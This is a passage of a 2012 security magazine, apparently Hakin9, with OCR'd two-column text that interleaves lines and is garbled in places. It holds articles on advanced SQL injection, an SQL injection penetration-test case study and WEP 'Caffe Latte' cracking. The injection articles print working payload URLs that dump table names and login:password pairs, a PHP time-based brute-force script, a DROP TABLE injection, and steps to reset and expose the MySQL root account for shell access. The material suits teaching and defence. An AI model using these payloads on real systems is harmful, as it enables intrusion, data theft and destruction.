www.hakin9.org/en 23
SQL INJECTION
methods do not work. Generally speaking, this method exploiting a SQL Injection vulnerability as described
is universal since it does not depend on a database above. For example, you can recover the database
being used. structure in the following way: Listing 5.
Yet, really quick exploitation methods for the Blind If we take into account that Sybase ASE is based on
SQL Injection vulnerabilities were developed in the field Transact-SQL as MS SQL Server is, then we can say
of the Error-Based Blind SQL Injection. with confidence that the considered technique can be
applied to this DBMS, too. Experiments with Sybase
Error-Based Blind SQL Injection ASE strongly confirm this assumption.
Error-Based Blind SQL Injection is the quickest The same tricks with type conversion can be used for
technique of Blind SQL Injection exploitation. This PostgreSQL:
method is based on the fact that various DBMSs
can place sensitive information (e.g. the database web=# select cast(version() as numeric);
version) into the error messages in case of receiving ERROR: invalid input syntax for type numeric:
an illegal SQL expression. This technique can be used „PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled
if the vulnerable application returns a message when by GCC cc (GCC) 4.2.1 20070719 [FreeBSD]”
any SQL expression processing error occurs in the
database. To obtain sensitive information, one can exploit an
For MSSQL, the Error-Based Blind SQL Injection SQL Injection vulnerability in the application operating
technique appeared in 2003 or so. An error occurs in under PostgreSQL by executing the following queries:
the database when data type conversion is performed Listing 6.
improperly, which allows a malicious user to receive Constructions ::text::int can be used instead of as
sensitive information from the returned error message: numeric (Figure 2).
Listing 4 and Figure 1. However, such trick will not work for the MySQL
Thus, it becomes possible to retrieve the required database. This is why there had been no exploitation
information from a certain DBMS rather quickly by techniques for Error-Based Blind SQL Injection
select convert(int,@@version);
http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_
name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))--
http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_
name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=2)))--
…
http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric
)--
http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+numeric
)--
…
24 01/2012
Advanced SQL Injection in the real world
vulnerabilities in MySQL until 2009, when a researcher verified). Qwazar used this method in conjunction
under the pseudonym Qwazar described new ways to with the method proposed by Elekt (select 1 union
exploit Blind SQL Injection vulnerabilities in his article select 2) to show how an attacker can receive up to 12
for the Russian Hacker magazine. characters of valuable information via one query to the
The first idea was to use illegal regular expressions web application. The query looks as follows: Listing 7.
that cause various errors when a SELECT query is Thus, if there is the column pass in the table users and
executed by MySQL (exactly when it is executed, not the first character of the first entry in this column is 0,
www.hakin9.org/en 25
SQL INJECTION
http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+
limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+
limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
…
Listing 11. Function that returns the �rst symbol of the requested data in the error message
26 01/2012
Advanced SQL Injection in the real world
technique, we must say. Here is an example of applying • The technique can only be applied to tables with
this universal approach to MySQL version 5.0 and later: more than two rows.
Listing 8. • To induce a query error when extracting data from
If the table name is not known (e.g., in MySQL 5.0 columns like VARCHAR and longer (depending
and earlier), more complex queries entirely based on on the platform), it is necessary to use cut string
the function rand() should be used. It means that in functions (e.g., MID)
some cases, it will take more than one HTTP request to
receive the target data (Listing 9). As for the Oracle database, similar techniques for
Below is an example of practical use of the hacking it have been known since a long time ago. For
described technique for database structure recovery: example:
Listing 10.
The method proposed by Qwazar works for all /?param=1 and(1)=(utl_inaddr.get_host_name((select
MySQL versions including 3.x, which still can be found banner from sys.v_$version where rownum=1)))--
on the Web. For MySQL 3.x, the attack vector looks as ...
follows:
However, we were searching for a fresh perspective,
/id?=1 or 1 group by concat(version(),floor(rand(0)*2)) which was found at last in the XMLType() function that
having min(0) or 1--++ returns the first symbol of the requested data in the
error message (LPX-00XXX): Listing 11.
However, many flaws have been revealed in this Moreover, the substr() function provides the means
method over the last two years. We cannot cover to extract data character by character. For example, it
all of them in this article, but the most considerable won’t take you long to determine the database version
shortcomings are the following: as shown Listing 12.
SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got –
www.hakin9.org/en 27
SQL INJECTION
http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||c
hr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62))
)from dual)--
28 01/2012
Advanced SQL Injection in the real world
Double Blindness
There are some cases when, besides suppression of all
error messages on pages returned by web application,
vulnerable SQL queries are used for some internal
purposes, for example, for some event logging or
internal optimization. Related SQL-Injections belong
to the group of Double Blind (or Time-Based) SQL
Injections.
The exploitation technique for this type of SQL
Injection is based on time delays between a query
sent to a web application and its response. You can
specially craft such a delay, for instance, by creating an
appropriate loop via while(). Classically, the benchmark()
function is used for exploiting the vulnerability under
MySQL. However, the best practice is to apply sleep().
The sleep() function is more secure since it does not
Figure 5. Proof-of-concept time-based SQL Injection exploration consume server CPU resources, unlike benchmark().
Below is an example of a simple character-by-character
Listing 18. Simple character- by character brute force script
with time delay
brute force script involving time delay (Listing 18 and
Figure 5).
... As demonstrated above, alphabetical order is used in
function brute($column,$table,$lim) the $b_srt array for brute force. The script consecutively
{ checks every character for its matching a database
$ret_str = ""; character. You can try to speed up the process by
$b_str = "1234567890_abcdefghijklmnopqrstuvwxyz"; arranging characters in a more opportune order or by
$b_arr = str_split($b_str); using a binary tree.
for ($i=1;$i<100;$i++)
{ Instead of Conclusion
print "[+] Brute $i symbol...\n"; While this article was being prepared, new interesting
techniques of SQL Injection exploitation in Oracle
for ($j=0;$j<count($b_arr);$j++) DBMS were developed. As we can see, this field is very
promising and thriving, and an enthusiastic researcher
$brute = ord($b_arr[$j]); will always have an opportunity to discover something
$q = "/**/and/**/if((ord(lower(mid((select/ new. Have fun!
**/$column/**/from/**/$table/**/
limit/**/$lim,1),$i,1))))=$brute,sl
eep(6),0)--";
if (http_connect($q))
{
$ret_str=$ret_str.$b_arr[$j];
print $b_arr[$j]."\n";
break;
}
print ".";
}
if ($j == count($b_arr)) break;
}
return $ret_str;
}
… DMITRY EVTEEV
http://devteev.blogspot.com/, Positive Technologies Co.
www.hakin9.org/en 29
SQL INJECTION
SQL Injection:
A Case Study
T
he scenario described here is pedagogical The syntax of this statement is incorrect and would
and so some liberties were taken to gear this result in an error, because it appears to the SQL
discussion strictly to the topic of SQL-injection. interpreter that it should execute a statement selecting
Here we describe a subset of the actions taken and the data from all users with the last name “O” followed by
results obtained. the unrecognized keyword “hara” and additional single
quote and semi-colon.
Introduction The dynamic nature of the above example is also
SQL injection and associated vulnerabilities are possible problematic, in the sense that the statement to be
due to three common, yet critical design flaws. Lack of input executed by the SQL interpreter is created on the fly
sanitization, unnecessary construction of dynamic queries, as the input is entered. In the above case, the first part
and failure to adhere to the Principle of Least Privilege. of the statement SELECT * FROM users WHERE last_name=’
Through our case study, we demonstrate how each of is concatenated with a user-input value and a closing
these design flaws can lead to information or system single quote character. Because of this, an attacker
compromise. Input sanitization refers to the removal of could input values such that the intended SQL statement
unwanted, unexpected or harmful data from application becomes an entirely different statement. For example,
inputs. This can refer to the removal or reformatting of entering the last name value Jones’ OR ‘1’=’1 causes the
unwanted characters or keywords, the truncation of application to create the following statement, which is
excessively long inputs, or the general restructuring of markedly different than what was intended:
an input such that it is as it is expected to be. The need
for input sanitization reaches far beyond the prevention SELECT * FROM users WHERE last_name=’Jones’ OR ‘1’=’1’;
of SQL injection attacks alone, and is the cause of cross-
site scripting, buffer overflow, and a host of other injection Rather than select the date of the user with last name
vulnerabilities. With SQL injection, input sanitization is of “Jones,” this statement will select the data of all users.
particular importance, as many common characters are As with a lack of input sanitization, the consequences
included in the syntax of SQL statements, including ones of these dynamic statements are prevalent in other
that you might anticipate to find within the user’s input. forms of injection attacks, such as XPATH and LDAP
For example, the single quote character (‘) is used in SQL injection. Fortunately, there are elegant methods for
statements to designate the start and end of a string value, avoiding dynamic statements, such as using prepared
but the single quote character is also commonly found in statements and stored procedures, which we discuss
proper names and sentence punctuation. The following later in the mitigations section.
dynamically generated SQL statement would then break The third design flaw we mention is the failure
if the last name “O’hara” was input: to adhere to the Principle of Least Privilege, which
bluntly asserts that a person, process or device
SELECT * FROM users WHERE last_name=’O’hara’; should only have access to the minimum information
30 01/2012
SQL Injection: A Case Study
or resources required to perform its duties. This could SELECT <something> WHERE <something>=’<one of our inputs>’;
be the restriction of read, write or execute privileges,
limitations on storage space, or restrictions on the time- Adding a single quote in the first example would cause
availability of access to resources. With SQL injection a SQL statement to be constructed with an extra
vulnerabilities, our primary concern is with what access quote, resulting in an invalid statement and error.
the calling service (most often a web server) has access No luck. The error message returned immediately was
to within the database. More often than one might “invalid username or password”. In many vulnerable
expect, web services are granted full, administrative cases, we would expect to see a detailed error message
access to the database system when not only should returned from the web server – a drastic information
read-only access be enforced, but read-only access leakage vulnerability that would have immediately
to the minimum set of information required for the identified to us that yes, a SQL server is present, a
application to function. fingerprint, and possibly even a version identifier of the
server and information about the database such as table
Attack Plan and field names which we would not ordinarily know.
Since this evaluation began as a black-box security Though we didn’t receive the detailed message we
assessment, we began by laying out our attack plan were hoping for, it did not mean our SQL injection attack
and including a number of reconnaissance steps. This did not cause an internal error. We may now have to rely
is an excerpt of our plan pertaining to SQL injection on what is referred to as a “blind SQL injection” attack.
vulnerabilities. This is an attack where the results may not be displayed
to the user, at least not in the typical sense.
• Identify inputs to the system. Blind attacks may be verified with the inclusion
• Determine if a SQL server is running / handling of always true or always false statements, such as
these inputs. appending “1=1” or “0=1” to a SQL query, in the hopes
• Determine if SQL injection is possible. that the non-descriptive error message will be activated
• Fingerprint the SQL server. or deactivated depending on the Boolean choice. For
• Determine if we can embed/concatenate statements. example, if we had a legitimate user name and password
• Determine if we can modify the database. (‘jdoe’ and ‘pw123’), we may be able to blindly test if a
• Determine if we can map the database. SQL database is used. After a successful controlled log
• Determine if we can harvest the database. on and failure, we would attempt to log in again with the
• Determine if we can compromise the host server strings jdoe’ AND ‘0’=’1 and jdoe’ AND ‘1’=’1 to verify that
itself. the former failed, and the later granted access, when it
clearly should not have. Inserting these strings could
A good starting point for any black-box investigation look like the following:
is to run a web application scanner on the target
application. These scanners can sometimes identify SELECT id FROM users WHERE uname=’jdoe’ AND
inputs that are not readily noticeable to the naked eye, passwd=’passwd’;
and at the very least can quickly enumerate the inputs SELECT id FROM users WHERE uname=’jdoe’ AND ‘0’=’1’
that make up the attack surface. However, as with any AND passwd=’passwd’;
black-box assessment, the plan needed to be adapted SELECT id FROM users WHERE uname=’jdoe’ AND ‘1’=’1’
and extended as we encountered various pitfalls. First AND passwd=’passwd’;
and foremost, our initial set of inputs to the system
was limited to the log on interface. This included user The first and third statements would be successful,
name and password entry fields, as well as a field for while the second would fail. We would have then
submitting an email address if a password was forgotten. verified that a blind SQL injection was possible in
these fields.
Determine if SQL is used, injectable However, as black-box adversaries, we did not start
Our first, most basic test to determine if SQL is being with legitimate credentials, and so we took a different
used, is to try to cause an error by corrupting a SQL approach. Rather than evaluate whether an injection
statement. We’ve already touched on how this can was successful based on pass or fail results, we
happen above, but now our attempt is more targeted. injected a SQL statement that would take a noticeably
We enter a single quote character in each field, hoping long time to process. If the log on was rejected
to truncate or corrupt a dynamically generated SQL immediately, we wouldn’t have learned much, but if our
query, and cause an error. We are assuming here log on was rejected after a noticeable delay, it would be
that the SQL statement might look something like the safe to assume our injection was successful. We set the
following: username field to the following:
www.hakin9.org/en 31
SQL INJECTION
Jdoe’ OR BENCHMARK(1000000, ENCODE(‘blah’,’nothing’)) OR This attack tells the database to return any user who
‘1’=’1 has the poorly chosen password “password.” When
the subsequent check is made to see if our password
The injected command instructed the SQL database to field matches, we are granted access as whichever
use its pseudo-random number generator one million user happened to be returned first. We now had
times to password-encrypt the phrase “blah” with the access to a user’s account in the system, availing us
pass-phrase “nothing”. To our liking, this significantly additional inputs and therefore additional SQL injection
delayed the return of the failed log on page. We now possibilities.
knew that SQL injection was possible through the
username field. Fingerprinting the SQL server
With our new found access, we were shown the personal
Bypassing the Log on information for a user of the system, including name,
Even though we had discovered at this point that SQL address, phone, email and social security number
injection was possible, we had very little access to what (Hooah!). For the remainder of our assessment, we
was returned from our injected SQL queries. Until we had really didn’t require much more than this page and the
additional access and additional inputs to manipulate, corresponding “update address” page. The following
we may not have been able to fully compromise the was the update address statement:
database, and so our attack plan was updated to focus
on leveraging the SQL injection vulnerability to bypass UPDATE studnets SET address=’<input>’, zip=’<input>’,
the application’s log on page. The means by which a state=’<input>’ WHERE id=id;
web application developer could have implemented the
log on process to the system are potentially infinite, but By setting the zip code field to 1234, zip=’55555” we saw
in practice, the number of reasonable methods is an that the “55555” value was inserted in to the database in
assessable value. It was possible that the SQL query the zip code field, rather than resulting in an error. The
we could inject could entirely subvert the log on process, query string was susceptible to SQL injection.
regardless of how it is structured. Two of the following Our attack plan included tests to fingerprint the SQL
methods were pulled from unnamed online tutorials, and server, that is, to uncover as much information about the
the third was the implementation used by the site we database, host and running services as possible. This
were investigating. All are typical, and easily subverted. information allows an attacker to both eliminate tests and
attacks that are not useful against a particular deployment,
SELECT id FROM users WHERE uname=’<input>’ AND and to focus on attacks that would probably work.
passwd=’<input>’; Many versions of SQL have syntax for directly querying
If results.count = 1 { grant access } else { error } database and system information. For instance, the
VERSION() command in MySQL and PostgreSQL, and
SELECT COUNT(id) AS count FROM users WHERE the SERVERPROPERTY(‘productversion’) command for
uname=’<input>’ AND pw=’<input>’; Microsoft SQL Server. Each of these commands may
If count == 1 { grant access } else { error } return a descriptive string that immediately fingerprints
the server.
SELECT passwd FROM students WHERE uname=’<input>’; Even when these version commands are not
if results.passwd = ‘<input>’ { grant access } else {error } accessible (perhaps the injection results are blind), it
may still be possible to fingerprint a server. Depending
Attacks on the first two log on tests above can be on the server version, certain functions and syntactical
launched by setting the password input field to garbage’ conventions may or may not be permitted as part
OR ‘1’=’1 as in shown in the SQL statement it creates: of a statement. These subtle differences could be
enumerated in an injectable blind field to see what is
SELECT id FROM users WHERE uname=’user_name’ AND and is not allowed. The version of SQL that supports the
passwd=’garbage’ OR ‘1’=’1’; successful attacks and rejects the unsuccessful ones is
then fingerprinted.
These attempts failed during our evaluation, but we were We were able to identify our victim server’s version
successful in the following attack to gain access. By and host system through two different methods. First,
inputting the username field as junk’ OR passwd=’password recall through our earlier attack that we were able to
we created the following SQL statement: get the credentials for an account with the password,
“password.” Going back to the log on screen, we
SELECT passwd FROM students WHERE uname=’junk’ OR entered the correct user name “jdoe” and the following
passwd=’password’; sequence of passwords, testing for correctness:
32 01/2012
SQL Injection: A Case Study
fake’ WHERE id=1234; DROP TABLE users; The result is that our zip code is not the “12345” that
we first specified, but the second assignment of the
resulting in the following sequence of commands: value returned by the embedded SQL statement,
which was our victim account’s id field. We were now
UPDATE users SET first=’fake’ WHERE id=1234; assured that we would be able to query the database
DROP TABLE users; in nearly any fashion we chose.
’, last=’junk’ WHERE id=1234; SELECT * FROM users;
Mapping And Harvesting The Database
The first command does a pointless set of the name A database can be thought of as a series of tables, each
field for the user with id “1234,” and the second with a series of columns, each with some set of attributes.
command deletes the table named “users.” The third As one might suspect, this information needs to be
command is garbage, and will likely cause an error, stored somewhere. What better place than the database
but we don’t care at this point because our attack is itself? Lucky for most SQL injection practitioners, many
complete. database features, settings, table names and column
www.hakin9.org/en 33
SQL INJECTION
names can be queried and listed through the same UPDATE students SET address=’fake’, zip=’’, zip=(SELECT
database connection that we pull data. Each database password FROM mysql.user WHERE user = ‘root’), state=’’,
server provides its own mechanisms for querying this state=’PA’ WHERE id=id;
information, and we won’t enumerate all the possibilities UPDATE mysql.user SET password = PASSWORD(‘gotcha’)
here, but it suffices to show through the following WHERE user=’root’;
example attacks that a database can be mapped given
even a very limited portal to the information. Later, to cover our tracks we could reset the root
We leveraged our previously demonstrated ability to password to the hashed value we copied out of the
embed SELECT statements within the UPDATE statements database. Alternatively, we could have added a new
to query the underlying database for its table and field user of our own.
names. Similar to the above attack, we injected the We then changed the domain access privileges for the
following in to our zip code field user root to allow connections from anywhere, rather
than only from localhost, with the following statement:
‘, zip=(SELECT table_name FROM information_schema.tables
LIMIT 1,1), state=’PA UPDATE mysql.user SET host=’%’ WHERE user=’root’;
The final SQL statement set our zip code field to the Now, once the MySQL service was restarted, we had
name of the first table in the database’s list of tables, root access to the database from a MySQL prompt.
CHARACTER _ SETS. Other table names can be retrieved by This effectively gave us a shell on the host system, as
simply changing the value of the LIMIT condition. The any shell commands can be launched from the MySQL
following embedded statement, prompt with the syntax \! <cmd>. This gave us control
over much of the file system, and ultimately full control
SELECT table_name FROM information_schema.tables LIMIT 35,1 of the host machine.
34 01/2012
SQL Injection: A Case Study
www.hakin9.org/en 35
SQL INJECTION
« Caffe Latte »
Attack
For several years now, Wireless Encryption Protocol (WEP) has been
known to be a flawed encryption mechanism rather easy to crack.
Unfortunately, despite this common knowledge, WEP is still commonly
used to “secure” wireless networks.
T
raditional WEP attacks require a black hat (i.e. Integrity check
malicious hacker, aka “cracker”) to be in the The integrity check is made by figuring the checksum
wireless access point (AP) vicinity to perform his of CRC32 (M). The obtained checksum, called Integrity
misdeed. “Caffe Latte” attack makes this assumption null Check Value or ICV in WEP, is then concatenated to the
and void since an attacker now simply needs to be near data itself.
a wireless client, such as smartphone, which has been The whole result (M || ICV) will be encrypted.
connected at least once to the AP to crack its WEP key.
The increasing number of wireless clients and the Data encryption
world-wide mobility of their owners considerably To encrypt data, WEP makes a logical XOR between a
increase the attack exposure area of your network. pseudorandom 256 bits long stream, called keystream,
and M || ICV (M).
Introduction
By reading this article, you’ll learn: Encrypted Data = (M || ICV) XOR (Keystream)
• How does WEP work;
• How to Perform a “Caffe Latte” attack; In fact, the keystream is the result of RC4 (IV || K),
• How to protect your wireless access point from it. where:
• K is the shared key between the Access Point and
In order to perform the attack, I assume you already the client. This shared key is manually configured
have a running Backtrack distribution. on both parts and can be :
N.B: The author’s aim is to share knowledge with • 40 bits, i.e. 5 bytes long;
readers in order for them to later protect themselves • 104 bits, i.e. 13 bytes long.
against such an attack. The author is not legally • IV is a 24 bits long Initialization Vector. RC4
responsible for what the reader could do with said is a stream-cipher algorithm whereas each
knowledge. WEP frame must be encrypted with a unique
different key. In this context, the IV, transmitted
Wired Equivalent Privacy without protection in the frame header, has
This part is made for people without knowledge about been designed to avoid repetition during frame
the WEP protocol. encryption.
The WEP protocol has been designed to offer the
same security level as a wired network. Then, it must So, Encrypted Data = (M || ICV) XOR (RC4 (IV||K))
provide authentication, integrity check and encryption
mechanisms to transmit data (M). Indeed, WEP relies Authentication
on a CRC32 checksum and the stream cipher RC4 The 802.11 norm offers two authentication
algorithm. mechanisms:
36 01/2012
« Caffe Latte » attack
www.hakin9.org/en 37
SQL INJECTION
38 01/2012
« Caffe Latte » attack
ARP request by flipping a few bits, sending it to the AP Now, you should say: “OK, but how can you crack the
and waiting for the encrypted ARP reply. By repeating key since the Initialization Vector has been designed to
this operation some several thousand times, will have salt the key, and this for each different frame?”
enough data to crack the key. As I said, the IV is encoded in 24 bits, which makes
If you remember how works WEP, you should tell me “only” 17 million different IV. This means that if you
something like: send more than 17 million ARP requests, an IV will be
Hey, since the packet is encrypted with the WEP key used more than once (we call that collision). The more
we do not know, how can you send correct encrypted collision there is, the easier it will be to crack the key.
data to the AP?
Well, we saw that: Conclusion
WEP is totally flawed. In order to protect yourself or
Encrypted frame = (M || CRC (M)) XOR (RC4 (IV || K)) your enterprise from the “Caffe Latte” attack, here are
simple pieces of advice to follow:
Let’s say we manage to capture an encrypted frame (a
G-ARP frame for example), noted: • DO NOT USE WEP ANYMORE. WEP has been
known unsecured for several years now. Use it
Genuine encrypted frame = RC4 (IV || K) XOR X || CRC (X). only if necessary. If possible, configure your access
point to use WPA2.
If we alter the frame (let’s call this modification Y), we • Configure your wireless device to avoid
obtain: reconnecting automatically to preferred networks.
Crafted encrypted frame = Hence, your device won’t connect to an AP without
RC4 (IV || K) XOR (X+Y || CRC (X+Y)). your consent.
• Disable your WIFI adapter when not in use.
Since CRC is a linear function, we have:
Then:
www.hakin9.org/en 39